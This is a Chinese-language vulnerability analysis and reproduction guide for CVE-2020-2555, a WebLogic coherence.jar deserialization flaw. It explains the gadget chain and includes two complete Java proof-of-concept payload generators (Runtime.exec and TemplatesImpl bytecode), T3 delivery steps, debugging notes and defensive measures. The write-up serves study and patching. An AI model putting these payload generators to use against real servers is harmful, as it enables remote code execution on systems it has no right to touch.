CVE-2020-2555调用链复现分析
字数 1539 2025-08-25 22:58:20

CVE-2020-2555漏洞分析与复现指南

0x01 漏洞概述

CVE-2020-2555是Oracle WebLogic Server中的一个反序列化漏洞,存在于coherence.jar组件中。攻击者可以通过T3协议发送恶意序列化数据,在目标服务器上实现远程代码执行(RCE)。该漏洞CVSS评分为9.8分,属于高危漏洞。

0x02 漏洞环境

  • 受影响版本:WebLogic 12.1.3.0.0
  • 测试环境:WebLogic 12.1.3.0.0 + JDK 1.8.0
  • 相关组件:coherence.jar

0x03 漏洞原理

漏洞利用链主要涉及以下关键类:

  1. BadAttributeValueExpException:作为反序列化入口点
  2. LimitFilter:WebLogic特有类,提供触发点
  3. ChainedExtractor/ReflectionExtractor:实现反射调用链
  4. Runtime/TemplatesImpl:最终执行代码的类

0x04 调用链分析

4.1 标准利用链(多次反射)

ValueExtractor[] valueExtractors = new ValueExtractor[]{
    new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
    new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
    new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}})
};

调用流程:

  1. BadAttributeValueExpException.readObject() 触发 toString()
  2. LimitFilter.toString() 调用 m_comparator.extract()
  3. ChainedExtractor.extract() 依次执行反射链:
    • 获取Runtime类的getRuntime方法
    • 调用getRuntime方法获取Runtime实例
    • 调用exec方法执行命令

4.2 优化利用链(单次反射)

ValueExtractor valueExtractor = new ReflectionExtractor("getOutputProperties", new Object[0]);

利用TemplatesImpl类实现单次反射RCE:

  1. 构造包含恶意字节码的TemplatesImpl实例
  2. 通过ReflectionExtractor直接调用getOutputProperties方法
  3. 触发字节码加载执行

0x05 漏洞复现步骤

5.1 标准POC生成

public class exp {
    public static void main(String[] args) throws Exception {
        String cmd = "calc";
        ValueExtractor[] valueExtractors = new ValueExtractor[]{
            new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
            new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
            new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}})
        };
        
        LimitFilter limitFilter = new LimitFilter();
        limitFilter.setTopAnchor(Runtime.class);
        
        BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
        // 设置m_comparator为ChainedExtractor
        Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
        m_comparator.setAccessible(true);
        m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors));
        
        // 设置BadAttributeValueExpException的val属性
        Field val = expException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(expException, limitFilter);
        
        // 序列化payload
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(
            new FileOutputStream("poc.ser"));
        objectOutputStream.writeObject(expException);
        objectOutputStream.close();
    }
}

5.2 单次反射POC生成

public class exp {
    public static void main(String[] args) throws Exception {
        // 初始化TemplatesImpl实例
        TemplatesImpl temp = new TemplatesImpl();
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(payload.class));
        CtClass payload = pool.get(T3.payload.class.getName());
        byte[] PayByte = payload.toBytecode();
        
        // 设置_bytecodes属性
        Field ByteCode = TemplatesImpl.class.getDeclaredField("_bytecodes");
        ByteCode.setAccessible(true);
        ByteCode.set(temp, new byte[][]{PayByte});
        
        // 设置_name属性
        Field name = TemplatesImpl.class.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(temp, "tr1ple");

        // 定义单次反射
        ValueExtractor valueExtractor = new ReflectionExtractor("getOutputProperties", new Object[0]);
        
        // 构造LimitFilter
        LimitFilter limitFilter = new LimitFilter();
        limitFilter.setTopAnchor(temp);
        
        BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
        // 设置m_comparator
        Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
        m_comparator.setAccessible(true);
        m_comparator.set(limitFilter, valueExtractor);
        
        // 设置val属性
        Field val = expException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(expException, limitFilter);
        
        // 序列化payload
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(
            new FileOutputStream("poc2.ser"));
        objectOutputStream.writeObject(expException);
        objectOutputStream.close();
    }
}

5.3 发送Payload

通过T3协议发送序列化数据:

  1. 先发送T3协议头
  2. 然后发送序列化payload
  3. 数据包中序列化payload以ac ed 00 05开头,多段序列化数据以fe 01 00 00分隔

0x06 调试分析

关键断点设置:

  1. LimitFilter.toString() 方法
  2. ChainedExtractor.extract() 方法
  3. ReflectionExtractor.extract() 方法

调试时可观察到:

  1. WebLogic使用ServerChannelInputStream(继承自ObjectInputStream)进行反序列化
  2. 最终调用原生ObjectInputStream.readObject()
  3. 通过BadAttributeValueExpException.readObject()触发整个利用链

0x07 防御措施

  1. 升级WebLogic到最新版本
  2. 禁用T3协议或限制访问来源
  3. 使用WebLogic提供的反序列化过滤器
  4. 删除或更新coherence.jar组件

0x08 参考链接

  1. https://xz.aliyun.com/t/7387
  2. http://drops.xmd5.com/static/drops/web-13470.html
  3. 修复WebLogic的JAVA反序列化漏洞的多种方法

0x09 总结

CVE-2020-2555漏洞展示了WebLogic反序列化漏洞的典型利用模式,通过精心构造的gadget链实现RCE。理解该漏洞有助于分析其他类似的反序列化漏洞,并提高对Java安全机制的认识。

CVE-2020-2555漏洞分析与复现指南 0x01 漏洞概述 CVE-2020-2555是Oracle WebLogic Server中的一个反序列化漏洞,存在于coherence.jar组件中。攻击者可以通过T3协议发送恶意序列化数据,在目标服务器上实现远程代码执行(RCE)。该漏洞CVSS评分为9.8分,属于高危漏洞。 0x02 漏洞环境 受影响版本:WebLogic 12.1.3.0.0 测试环境:WebLogic 12.1.3.0.0 + JDK 1.8.0 相关组件:coherence.jar 0x03 漏洞原理 漏洞利用链主要涉及以下关键类: BadAttributeValueExpException :作为反序列化入口点 LimitFilter :WebLogic特有类,提供触发点 ChainedExtractor/ReflectionExtractor :实现反射调用链 Runtime/TemplatesImpl :最终执行代码的类 0x04 调用链分析 4.1 标准利用链(多次反射) 调用流程: BadAttributeValueExpException.readObject() 触发 toString() LimitFilter.toString() 调用 m_comparator.extract() ChainedExtractor.extract() 依次执行反射链: 获取Runtime类的getRuntime方法 调用getRuntime方法获取Runtime实例 调用exec方法执行命令 4.2 优化利用链(单次反射) 利用 TemplatesImpl 类实现单次反射RCE: 构造包含恶意字节码的 TemplatesImpl 实例 通过 ReflectionExtractor 直接调用 getOutputProperties 方法 触发字节码加载执行 0x05 漏洞复现步骤 5.1 标准POC生成 5.2 单次反射POC生成 5.3 发送Payload 通过T3协议发送序列化数据: 先发送T3协议头 然后发送序列化payload 数据包中序列化payload以 ac ed 00 05 开头,多段序列化数据以 fe 01 00 00 分隔 0x06 调试分析 关键断点设置: LimitFilter.toString() 方法 ChainedExtractor.extract() 方法 ReflectionExtractor.extract() 方法 调试时可观察到: WebLogic使用 ServerChannelInputStream (继承自 ObjectInputStream )进行反序列化 最终调用原生 ObjectInputStream.readObject() 通过 BadAttributeValueExpException.readObject() 触发整个利用链 0x07 防御措施 升级WebLogic到最新版本 禁用T3协议或限制访问来源 使用WebLogic提供的反序列化过滤器 删除或更新coherence.jar组件 0x08 参考链接 https://xz.aliyun.com/t/7387 http://drops.xmd5.com/static/drops/web-13470.html 修复WebLogic的JAVA反序列化漏洞的多种方法 0x09 总结 CVE-2020-2555漏洞展示了WebLogic反序列化漏洞的典型利用模式,通过精心构造的gadget链实现RCE。理解该漏洞有助于分析其他类似的反序列化漏洞,并提高对Java安全机制的认识。